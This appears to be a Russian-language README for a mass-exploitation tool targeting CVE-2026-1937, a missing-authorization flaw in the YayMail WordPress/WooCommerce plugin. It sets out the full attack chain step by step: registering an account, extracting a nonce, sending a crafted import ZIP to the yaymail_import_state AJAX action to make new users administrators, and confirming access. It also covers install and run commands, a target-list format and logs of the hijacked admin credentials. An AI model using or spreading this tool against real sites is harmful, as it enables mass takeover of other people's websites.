
YayMail <= 4.3.2 - Отсутствие проверки авторизации: аутентифицированные пользователи (Shop Manager+) могут произвольно обновлять параметры через AJAX-действие 'yaymail_import_state'
| Поле | Описание |
|---|---|
| CVE ID | CVE-2026-1937 |
| Степень опасности | ВЫСОКАЯ — оценка CVSS v3.1: 7.2 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Исследователь | Daniel Basta (whizzu) — NASK PIB |
| Дата публикации | 17 февраля 2026 г. |
| Последнее обновление | 27 марта 2026 г. |
| Затронутое ПО | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| Затронутые версии | Все версии вплоть до 4.3.2 включительно |
| Тип уязвимости | Отсутствие авторизации → Несанкционированное произвольное обновление опций → Повышение привилегий |
| Требуется аутентификация | Да — уровень Shop Manager и выше |
| CWE | CWE-862: отсутствие авторизации |
Описание:
Плагин YayMail – WooCommerce Email Customizer для WordPress уязвим к несанкционированной модификации данных, ведущей к повышению привилегий, во всех версиях вплоть до 4.3.2 включительно. AJAX-действие yaymail_import_state зарегистрировано без какой-либо проверки прав на стороне сервера, что позволяет аутентифицированным злоумышленникам с доступом уровня Shop Manager и выше вызывать его без ограничений. Загружая специально сформированный ZIP-файл импорта, злоумышленник может незаметно перезаписать произвольные опции сайта WordPress — включая установку роли новых пользователей по умолчанию в значение administrator и включение открытой публичной регистрации. После внедрения этих опций любой посетитель сможет самостоятельно зарегистрироваться на сайте и получить полноценную учётную запись администратора WordPress, что приведёт к полной компрометации сайта.
Это цепочка массовой эксплуатации Proof-of-Concept (PoC), нацеленная на установки WordPress + WooCommerce, работающие с уязвимой версией плагина YayMail. Инструмент реализует полную сквозную атаку: регистрация в WooCommerce → вход в систему → извлечение nonce YayMail → эксплуатация yaymail_import_state → проверка прав администратора.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — специально сформированный payload для импорта (обязательно)pip install requests urllib3 rich
Или через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
Инструмент использует полностью интерактивный терминальный интерфейс на базе Rich.
Создайте обычный текстовый файл (по умолчанию: list.txt) — по одной цели в строке:
https://target1.com
https://target2.com
http://target3.com
target4.com
Цели без
http://илиhttps://автоматически получают префиксhttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipДля эксплуатации требуется специально сформированный ZIP-файл импорта YayMail, который при импорте переопределяет следующие опции WordPress:
| Опция WordPress | Внедряемое значение |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ Инструмент откажется запускаться, если
yaymail_backup.zipотсутствует в рабочем каталоге.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Корневая причина:
Обработчик yaymail_import_state не вызывает current_user_can() или любую аналогичную проверку прав перед обработкой импорта. Любой пользователь с ролью shop_manager (или выше) может свободно вызывать это действие и перезаписывать произвольные записи таблицы wp_options через механизм ZIP-импорта.
Инструмент автоматически проверяет следующие пути на наличие форм регистрации и входа:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| Файл | Описание |
|---|---|
reg.txt | Все успешные регистрации WooCommerce с учётными данными |
Nx_admin.txt | Все подтверждённые повышения привилегий до администратора |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝